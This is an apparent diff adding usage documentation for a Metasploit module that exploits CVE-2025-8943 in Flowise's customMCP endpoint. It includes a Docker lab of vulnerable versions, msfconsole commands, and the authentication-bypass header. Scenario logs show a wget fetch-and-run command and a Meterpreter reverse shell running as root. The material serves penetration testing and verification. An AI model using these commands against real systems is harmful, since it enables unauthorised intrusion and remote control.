|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +[Flowise](https://github.com/FlowiseAI/Flowise) is an open-source platform for building AI agents. |
| 4 | +Versions >= 2.2.7-patch.1 and < 3.0.1 are vulnerable to a remote command execution vulnerability (CVE-2025-8943) |
| 5 | +in the customMCP endpoint. |
| 6 | + |
| 7 | +The vulnerability exists in the `/api/v1/node-load-method/customMCP` endpoint which allows users to execute arbitrary |
| 8 | +commands by sending a specially crafted JSON payload. The endpoint accepts a command and arguments that are executed directly |
| 9 | +on the system via StdioClientTransport. When FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables are not configured, |
| 10 | +the exploit works unauthenticated by using the 'x-request-from: internal' header. If Basic Auth is enabled, the module supports |
| 11 | +providing credentials via the FLOWISE_USERNAME and FLOWISE_PASSWORD options. |
| 12 | + |
| 13 | +This vulnerability affects Flowise versions >= 2.2.7-patch.1 (introduced March 14, 2025) and < 3.0.1 (fixed May 29, 2025). |
| 14 | + |
| 15 | +This module was successfully tested on: |
| 16 | + |
| 17 | + * Flowise 2.2.7-patch.1 (unauthenticated) |
| 18 | + * Flowise 2.2.7-patch.1 with Basic Auth configured (FLOWISE_USERNAME/FLOWISE_PASSWORD env vars) |
| 19 | + * Flowise 3.0.0 (unauthenticated) |
| 20 | + |
| 21 | +### Docker Setup |
| 22 | + |
| 23 | +Use the provided `docker-compose-flowise.yml` file or create one with the following content: |
| 24 | + |
| 25 | +```yaml |
| 26 | +version: '3.8' |
| 27 | + |
| 28 | +services: |
| 29 | + flowise-2.2.7: |
| 30 | + image: flowiseai/flowise:2.2.7-patch.1 |
| 31 | + container_name: flowise-2.2.7 |
| 32 | + ports: |
| 33 | + - "3000:3000" |
| 34 | + environment: |
| 35 | + - PORT=3000 |
| 36 | + restart: unless-stopped |
| 37 | + |
| 38 | + flowise-3.0.0: |
| 39 | + image: flowiseai/flowise:3.0.0 |
| 40 | + container_name: flowise-3.0.0 |
| 41 | + ports: |
| 42 | + - "3001:3000" |
| 43 | + environment: |
| 44 | + - PORT=3000 |
| 45 | + restart: unless-stopped |
| 46 | + |
| 47 | + flowise-2.2.7-basicauth: |
| 48 | + image: flowiseai/flowise:2.2.7-patch.1 |
| 49 | + container_name: flowise-2.2.7-basicauth |
| 50 | + ports: |
| 51 | + - "3004:3000" |
| 52 | + environment: |
| 53 | + - PORT=3000 |
| 54 | + - FLOWISE_USERNAME=admin |
| 55 | + - FLOWISE_PASSWORD=Test12345! |
| 56 | + restart: unless-stopped |
| 57 | + |
| 58 | + flowise-3.0.1: |
| 59 | + image: flowiseai/flowise:3.0.1 |
| 60 | + container_name: flowise-3.0.1 |
| 61 | + ports: |
| 62 | + - "3005:3000" |
| 63 | + environment: |
| 64 | + - PORT=3000 |
| 65 | + restart: unless-stopped |
| 66 | +``` |
| 67 | +
|
| 68 | +Start all instances: `docker compose -f docker-compose-flowise.yml up -d` |
| 69 | + |
| 70 | +This will run: |
| 71 | +- Flowise 2.2.7-patch.1 on port 3000 (unauthenticated, vulnerable) |
| 72 | +- Flowise 3.0.0 on port 3001 (unauthenticated, vulnerable) |
| 73 | +- Flowise 2.2.7-patch.1 with Basic Auth on port 3004 (credentials required, vulnerable) |
| 74 | +- Flowise 3.0.1 on port 3005 (fixed, not vulnerable) |
| 75 | + |
| 76 | +### Testing with Docker Compose |
| 77 | + |
| 78 | +**Test 2.2.7-patch.1 (port 3000, unauthenticated):** |
| 79 | +```bash |
| 80 | +msfconsole -q -x "use exploit/multi/http/flowise_custommcp_rce; set RHOSTS 127.0.0.1; set RPORT 3000; set PAYLOAD cmd/unix/generic; set CMD 'id'; exploit" |
| 81 | +``` |
| 82 | + |
| 83 | +**Test 3.0.0 (port 3001, unauthenticated):** |
| 84 | +```bash |
| 85 | +msfconsole -q -x "use exploit/multi/http/flowise_custommcp_rce; set RHOSTS 127.0.0.1; set RPORT 3001; set PAYLOAD cmd/unix/generic; set CMD 'id'; exploit" |
| 86 | +``` |
| 87 | + |
| 88 | +**Test 2.2.7-patch.1 with Basic Auth (port 3004, credentials required):** |
| 89 | +```bash |
| 90 | +msfconsole -q -x "use exploit/multi/http/flowise_custommcp_rce; set RHOSTS 127.0.0.1; set RPORT 3004; set FLOWISE_USERNAME admin; set FLOWISE_PASSWORD Test12345!; set PAYLOAD cmd/unix/generic; set CMD 'id'; exploit" |
| 91 | +``` |
| 92 | + |
| 93 | +**Test 3.0.1 (port 3005, fixed - should return Safe):** |
| 94 | +```bash |
| 95 | +msfconsole -q -x "use exploit/multi/http/flowise_custommcp_rce; set RHOSTS 127.0.0.1; set RPORT 3005; check" |
| 96 | +``` |
| 97 | +Expected: `CheckCode::Safe("Version 3.0.1 is not vulnerable")` |
| 98 | + |
| 99 | + |
| 100 | +## Verification Steps |
| 101 | + |
| 102 | +1. Start a vulnerable Flowise instance (see versions above) |
| 103 | +2. Launch msfconsole: `use exploit/multi/http/flowise_custommcp_rce` |
| 104 | +3. Set `RHOSTS` and `RPORT` (default: 3000) |
| 105 | +4. If Basic Auth is configured, set `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` |
| 106 | +5. Run `check` to verify vulnerability |
| 107 | +6. Set payload and execute: `set PAYLOAD cmd/unix/generic; set CMD 'id'; exploit` |
| 108 | +7. Verify command execution (e.g., `docker exec flowise-2.2.7 id`) |
| 109 | + |
| 110 | + |
| 111 | +## Options |
| 112 | + |
| 113 | +- **FLOWISE_USERNAME** (optional): Flowise username for Basic Auth. Required if the target has `FLOWISE_USERNAME` |
| 114 | + environment variable configured. |
| 115 | + |
| 116 | +- **FLOWISE_PASSWORD** (optional): Flowise password for Basic Auth. Required if the target has `FLOWISE_PASSWORD` |
| 117 | + environment variable configured. |
| 118 | + |
| 119 | +**Note**: The module automatically handles authentication. If Basic Auth is not configured on the target, the exploit works |
| 120 | +unauthenticated by using the `x-request-from: internal` header. If Basic Auth is enabled, you must provide credentials using |
| 121 | +the `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` options. The module uses `FETCH_COMMAND WGET` by default for meterpreter payloads. |
| 122 | +The module includes error handling with HTTP response code validation (200 = success, 401 = authentication required, |
| 123 | +404 = endpoint not found, 500 = server error). |
| 124 | + |
| 125 | + |
| 126 | +## Scenarios |
| 127 | + |
| 128 | +### Scenario 1: Unauthenticated Exploit on 2.2.7-patch.1 |
| 129 | + |
| 130 | +``` |
| 131 | +msf > use exploit/multi/http/flowise_custommcp_rce |
| 132 | +msf exploit(multi/http/flowise_custommcp_rce) > set RHOSTS 127.0.0.1 |
| 133 | +RHOSTS => 127.0.0.1 |
| 134 | +msf exploit(multi/http/flowise_custommcp_rce) > set RPORT 3000 |
| 135 | +RPORT => 3000 |
| 136 | +msf exploit(multi/http/flowise_custommcp_rce) > check |
| 137 | +[*] Flowise version detected: 2.2.7.pre.patch.1 |
| 138 | +[+] The target appears to be vulnerable. Version 2.2.7.pre.patch.1 is vulnerable (affected: >= 2.2.7-patch.1 and < 3.0.1) |
| 139 | +msf exploit(multi/http/flowise_custommcp_rce) > set PAYLOAD cmd/unix/generic |
| 140 | +PAYLOAD => cmd/unix/generic |
| 141 | +msf exploit(multi/http/flowise_custommcp_rce) > set CMD 'id' |
| 142 | +CMD => id |
| 143 | +msf exploit(multi/http/flowise_custommcp_rce) > exploit |
| 144 | +[*] Command sent successfully (HTTP 200) |
| 145 | +[*] Exploit completed, but no session was created. |
| 146 | +``` |
| 147 | +
|
| 148 | +### Scenario 2: Unauthenticated Exploit on 3.0.0 with Meterpreter |
| 149 | +
|
| 150 | +``` |
| 151 | +msf > use exploit/multi/http/flowise_custommcp_rce |
| 152 | +msf exploit(multi/http/flowise_custommcp_rce) > set RHOSTS 127.0.0.1 |
| 153 | +RHOSTS => 127.0.0.1 |
| 154 | +msf exploit(multi/http/flowise_custommcp_rce) > set RPORT 3001 |
| 155 | +RPORT => 3001 |
| 156 | +msf exploit(multi/http/flowise_custommcp_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp |
| 157 | +PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp |
| 158 | +msf exploit(multi/http/flowise_custommcp_rce) > set LHOST 172.17.0.1 |
| 159 | +LHOST => 172.17.0.1 |
| 160 | +msf exploit(multi/http/flowise_custommcp_rce) > set LPORT 5555 |
| 161 | +LPORT => 5555 |
| 162 | +msf exploit(multi/http/flowise_custommcp_rce) > set FETCH_SRVHOST 172.17.0.1 |
| 163 | +FETCH_SRVHOST => 172.17.0.1 |
| 164 | +msf exploit(multi/http/flowise_custommcp_rce) > set FETCH_SRVPORT 8081 |
| 165 | +FETCH_SRVPORT => 8081 |
| 166 | +msf exploit(multi/http/flowise_custommcp_rce) > set FetchListenerBindAddress 0.0.0.0 |
| 167 | +FetchListenerBindAddress => 0.0.0.0 |
| 168 | +msf exploit(multi/http/flowise_custommcp_rce) > run |
| 169 | + |
| 170 | +[*] Command to run on remote host: wget -qO ./MfCBqpTrCefhXyuuOyk01Q http://172.17.0.1:8081/MfCBqpTrCefhXyuuOyk01Q;chmod +x ./MfCBqpTrCefhXyuuOyk01Q;./MfCBqpTrCefhXyuuOyk01Q& |
| 171 | +[*] Fetch handler listening on 0.0.0.0:8081 |
| 172 | +[*] HTTP server started |
| 173 | +[*] Adding resource /MfCBqpTrCefhXyuuOyk01Q |
| 174 | +[*] Started reverse TCP handler on 172.17.0.1:5555 |
| 175 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 176 | +[*] Flowise version detected: 3.0.0 |
| 177 | +[+] The target appears to be vulnerable. Version 3.0.0 is vulnerable (affected: >= 2.2.7-patch.1 and < 3.0.1) |
| 178 | +[*] Client 172.18.0.2 requested /MfCBqpTrCefhXyuuOyk01Q |
| 179 | +[*] Sending payload to 172.18.0.2 (Wget) |
| 180 | +[*] Command sent successfully (HTTP 200) |
| 181 | +[*] Meterpreter session 1 opened (172.17.0.1:5555 -> 172.18.0.2:36184) at 2025-11-18 21:45:37 +0100 |
| 182 | + |
| 183 | +meterpreter > sysinfo |
| 184 | +Computer : 172.18.0.2 |
| 185 | +OS : (Linux 6.14.0-115036-tuxedo) |
| 186 | +Architecture : x64 |
| 187 | +BuildTuple : x86_64-linux-musl |
| 188 | +Meterpreter : x64/linux |
| 189 | +meterpreter > getuid |
| 190 | +Server username: root |
| 191 | +``` |
| 192 | +
|
| 193 | +### Scenario 3: With Basic Auth (if configured) |
| 194 | +
|
| 195 | +``` |
| 196 | +msf > use exploit/multi/http/flowise_custommcp_rce |
| 197 | +msf exploit(multi/http/flowise_custommcp_rce) > set RHOSTS 127.0.0.1 |
| 198 | +RHOSTS => 127.0.0.1 |
| 199 | +msf exploit(multi/http/flowise_custommcp_rce) > set RPORT 3000 |
| 200 | +RPORT => 3000 |
| 201 | +msf exploit(multi/http/flowise_custommcp_rce) > set FLOWISE_USERNAME admin |
| 202 | +FLOWISE_USERNAME => admin |
| 203 | +msf exploit(multi/http/flowise_custommcp_rce) > set FLOWISE_PASSWORD password123 |
| 204 | +FLOWISE_PASSWORD => password123 |
| 205 | +msf exploit(multi/http/flowise_custommcp_rce) > exploit |
| 206 | +[*] Command sent successfully (HTTP 200) |
| 207 | +[*] Exploit completed, but no session was created. |
| 208 | +``` |
| 209 | +
|
| 210 | +## References |
| 211 | +
|
| 212 | +- CVE-2025-8943 |
| 213 | +- JFrog Security Advisory: https://research.jfrog.com/vulnerabilities/flowise-os-command-remote-code-execution-jfsa-2025-001380578/ |
| 214 | +- Flowise repository: https://github.com/FlowiseAI/Flowise |
| 215 | +
|
0 commit comments